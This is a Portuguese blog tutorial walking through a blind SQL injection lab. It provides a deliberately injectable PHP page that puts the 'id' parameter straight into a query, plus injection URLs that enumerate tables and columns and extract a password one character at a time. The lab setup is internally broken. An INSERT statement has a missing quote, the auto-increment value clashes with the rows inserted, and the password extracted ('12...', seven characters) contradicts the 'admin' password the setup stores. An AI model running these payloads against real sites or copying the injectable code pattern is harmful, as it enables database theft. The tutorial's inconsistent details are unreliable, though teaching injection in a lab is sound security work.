terça-feira, 8 de setembro de 2015

Estudo de Caso: Efetuando ataque de Blind SQL Injection

Blind SQL Injection

Tecnica de Injeção de Dados no MySQL feito as cegas.



Primeiramente, qual a diferênça entre SQL Injection e o Blind SQL Injection?

Normalmente, os administradores de sistemas desativam os parâmetros SHOW_ERRORS e SHOW_WARNINGS do servidor para que não explodam na tela os erros de SQL que auxiliam em um ataque de SQL Injection normal, portanto se torna um pouco mais complicado fazer o teste de vulnerabilidade na aplicação uma vez que o ferramental que utiliza desses erros como argumentos pode nos deixar a mercê do destino.

O Blind SQL Injection, ou Injeção de SQL as Cegas é o que separa meninos de homens na área de segurança da informação e Pentests de ambientes Web, pois o melhor ferramental que você pode ter em mãos é o seu próprio conhecimento de SQL e servidores web para extrair dados a força do servidor.

Em uma linguagem mais precisa, os ataques de SQL Injection normais, quando enviamos os parâmetros de consulta para a base de dados para extrair informação, nos retornam erros e informações pertinentes na tela, o Blind SQL Injection não nos retorna nada. A partir disso só nos resta interpretar valores de lógica booleana (True e False).



Comprovando a vulnerabilidade do servidor

Criando um banco de teste

Crie esse banquinho de dados com o nome "Blind" pra efetuarmos o lab

CREATE DATABASE blind;
USE blind;
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
users ­­
INSERT INTO `users` VALUES (1, 'administrator', 'admin');
INSERT INTO `users` VALUES (2, 'kevin', 'mitnick');
INSERT INTO `users` VALUES (3, edward', 'snowden');



Criando uma aplicação PHP para testes

Coloque esse scriptizinho no seu servidor Web para efetuarmos os testes efetuando as configurações do seu banco de dados. 


<?php
# ­­­­ CONFIGURAÇÃO DE BANCO ­­­­­
$host = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'blind';

echo "<title>Blind SQL Injection Teste<br>Matheus Fidelis</title>";
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
$query = mysql_query($sql);

if(@mysql_num_rows($query)==0){
      die;
}

$result=@mysql_fetch_row($query);

echo "<h2><center><u>Blind SQL Injection Teste<br>Nanoshots</u><br><br>";
echo "<font color='#000000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#000000'>username: </font>".$result[1]."<br>";
// echo "Password: ".$result[2]."<br>";
echo "</h2></center>";
die();
?>



Hands on!!!



Neste exemplo vamos fazer o teste na página teste.php e explorar a variável "id"

Vamos executar um teste fazendo com que o valor nos retorne True.

http://localhost/blind/teste.php?id=1 AND 1=1






Agora no mesmo exemplo, vamos fazer com que os valores nos retornem False

http://localhost/blind/teste.php?id=1 and 1=0

Se a página não retornou nada, ou seja, um valor em branco, significa que ele interpretou um valor booleano false.




Obtendo informação


Vamos fazer uma busca na na tabela users. Como nós já sabemos, teremos que trabalhar as cegas, ou seja, por força bruta. É a mesma lógica de dar tiros no escuro.
Vamos tentar com exemplos óbvios.


http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM admins)


Essa query irá verificar se a tabela admins existe e executar um count nela, ou seja, contar os registros retornados. Caso ela retorne algum registro o resultado será true, caso contrário, False.
Como no nossa tabela não existe nenhuma tabela admins ela irá retornar false. Vamos aplicar um exemplo que seja verdadeiro


http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users)


Neste caso o resultado foi True, então você foi redirecionado para a página de resposta positiva.



Encontrando o número de registros da tabela 'users'


Agora que encontramos a tabela users, vamos executar algumas consultas para verificar em média quantos registros existem dentro da tabela users


http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) > 4


Nesta consulta retornamos o valor True e False a respeito da quantidade de registros dentro da tabela users.
No caso, caso os registros da tabela forem maiores que 4, o resultado será true. Como no exemplo, o número de registros é 3, então esse teste terá de retornar false. 

Vamos tentar agora com um exemplo em true:


http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) > 2

http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) = 3


Agora retornou true e de leva sabemos que existem 3 registros dentro da tabela users.





Buscando os nomes das colunas 


Agora vamos injetar algumas query para descobrir os nomes das colunas da tabela.


http://localhost/blind/teste.php?id=1 AND(SELECT Count(username) FROM users)


No caso ele buscou a quantidade de registros da coluna username dentro da tabela users, mas como  essa coluna não existe, o resultado foi false.


http://localhost/blind/teste.php?id=1 AND(SELECT Count(password) FROM users)


Neste exemplo ele deu positivo, ou seja, existe uma coluna chamada password dentro da tabela users.




Lendo os dados da coluna 


http://localhost/blind/teste.php?id=1 AND (SELECT length(password) FROM users where 
id=1) > 9


Se existir algum conteúdo dentro da coluna password menor que 9, o resultado retornará verdadeiro. 


http://localhost/blind/teste.php?id=1 AND (SELECT length(password) FROM users where 
id=1) = 7

Pronto, sabemos que os conteúdos da coluna password tem 7 caracteres.


Extraindo os dados das colunas 

Famoso 'Hoje jantaremos no inferno'
Agora é a parte que 'dói'. Agora iniciaremos um processo de força bruta na unha para tentar arrancar as posições e os caracteres da senha. Iremos converter para ascii e ver se retorna true ou false.


http://localhost/blind/teste.php?id=1 AND ascii(substring((SELECT password FROM users 
where id=1),1,1))=49


1 = Primeira posição da senha 
Em ASCII 49 = 1 

Como a senha do primeiro usuário começa com 1, o resultado será true.

http://localhost/blind/teste.php?id=1 AND ascii(substring((SELECT password FROM users 
where id=1),2,1))=50

2 = Segunda posição da senha 
Em ASCII 50 = 2

BOA! Temos o segundo carácter da senha completa. Esse é um processo bem instigante, mas é assim que funciona a técnica. Você literalmente precisa minerar informação do servidor as cegas. 
até o momento temos password = "12...."


Existe essa ferramenta bem bacana que converte caracteres normais para ASCII

Ferramenta online: http://www.unit-conversion.info/texttools/ascii/








:)

SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

2 comentários:

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com